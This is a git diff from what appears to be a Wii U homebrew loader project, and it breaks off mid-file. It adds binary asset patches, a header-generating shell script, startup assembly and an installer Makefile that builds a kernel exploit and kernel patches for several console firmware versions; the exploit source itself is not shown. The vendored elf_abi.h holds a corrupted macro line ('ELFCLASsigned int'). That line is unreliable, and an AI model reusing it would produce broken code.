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 Ds6oDu literal 0 HcmV?d00001 diff --git a/data/sounds/button_click.mp3 b/data/sounds/button_click.mp3 new file mode 100644 index 0000000000000000000000000000000000000000..ec4aad7d9b8d4b67da17d0481c333c41d30063a7 GIT binary patch literal 5433 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/dev/null | tr -d '\n\n' | sed 's/[^0-9]*\([0-9]*\).*/\1/') + +count=0 +if [[ $OSTYPE == darwin* ]]; +then + +for i in $(gfind ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f) +do + files[count]=$i + count=$((count+1)) +done + +else + +for i in $(find ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f) +do + files[count]=$i + count=$((count+1)) +done + +fi + +if [ "$count_old" != "$count" ] || [ ! -f $outFile ] +then + +echo "Generating filelist.h for $count files." >&2 +cat < $outFile +/**************************************************************************** + * Loadiine resource files. + * This file is generated automatically. + * Includes $count files. + * + * NOTE: + * Any manual modification of this file will be overwriten by the generation. + ****************************************************************************/ +#ifndef _FILELIST_H_ +#define _FILELIST_H_ + +#include + +typedef struct _RecourceFile +{ + const char *filename; + const u8 *DefaultFile; + const u32 &DefaultFileSize; + u8 *CustomFile; + u32 CustomFileSize; +} RecourceFile; + +EOF + +for i in ${files[@]} +do + filename=${i%.*} + extension=${i##*.} + echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile + echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile + echo '' >> $outFile +done + +echo 'static RecourceFile RecourceList[] =' >> $outFile +echo '{' >> $outFile + +for i in ${files[@]} +do + filename=${i%.*} + extension=${i##*.} + echo -e '\t{"'$i'", '$filename'_'$extension', '$filename'_'$extension'_size, NULL, 0},' >> $outFile +done + +echo -e '\t{NULL, NULL, 0, NULL, 0}' >> $outFile +echo '};' >> $outFile + +echo '' >> $outFile +echo '#endif' >> $outFile + +fi diff --git a/installer/Makefile b/installer/Makefile new file mode 100644 index 0000000..099ff78 --- /dev/null +++ b/installer/Makefile @@ -0,0 +1,72 @@ +PATH := $(DEVKITPPC)/bin:$(PATH) +PREFIX ?= powerpc-eabi- +CC = $(PREFIX)gcc +AS = $(PREFIX)gcc +CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin +ASFLAGS = -mregnames -x assembler-with-cpp +LD = $(PREFIX)ld +LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc +OBJDUMP ?= $(PREFIX)objdump +project := . +root := $(CURDIR) +build := $(root)/bin + +sd_loader_elf := ../sd_loader/sd_loader.elf + +CFLAGS += -DUSE_SD_LOADER +ASFLAGS += -DUSE_SD_LOADER + +all: clean setup main532 + +sd_loader.h: $(sd_loader_elf) + xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ + +$(sd_loader_elf): + make -C ../sd_loader + +setup: + mkdir -p $(root)/bin/ + +main540: + make main FIRMWARE=532 + +main532: + make main FIRMWARE=532 + +main500: + make main FIRMWARE=500 + +main410: + make main FIRMWARE=410 + +main400: + make main FIRMWARE=400 + +main310: + make main FIRMWARE=310 + +main300: + make main FIRMWARE=300 + +main210: + make main FIRMWARE=210 + +main200: + make main FIRMWARE=200 + +main: sd_loader.h + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S + cp -r $(root)/*.o $(build) + rm $(root)/*.o + $(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) + +clean: + rm -rf $(build) + rm -rf sd_loader.h + +print_stats: + @echo + @echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312 diff --git a/installer/crt0.S b/installer/crt0.S new file mode 100644 index 0000000..a51658b --- /dev/null +++ b/installer/crt0.S @@ -0,0 +1,8 @@ +.extern __main + .globl _start +_start: + # load proper stack + lis r1, 0x1ab5 + ori r1, r1, 0xd138 + # jump to our main + bl __main diff --git a/installer/elf_abi.h b/installer/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/installer/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define 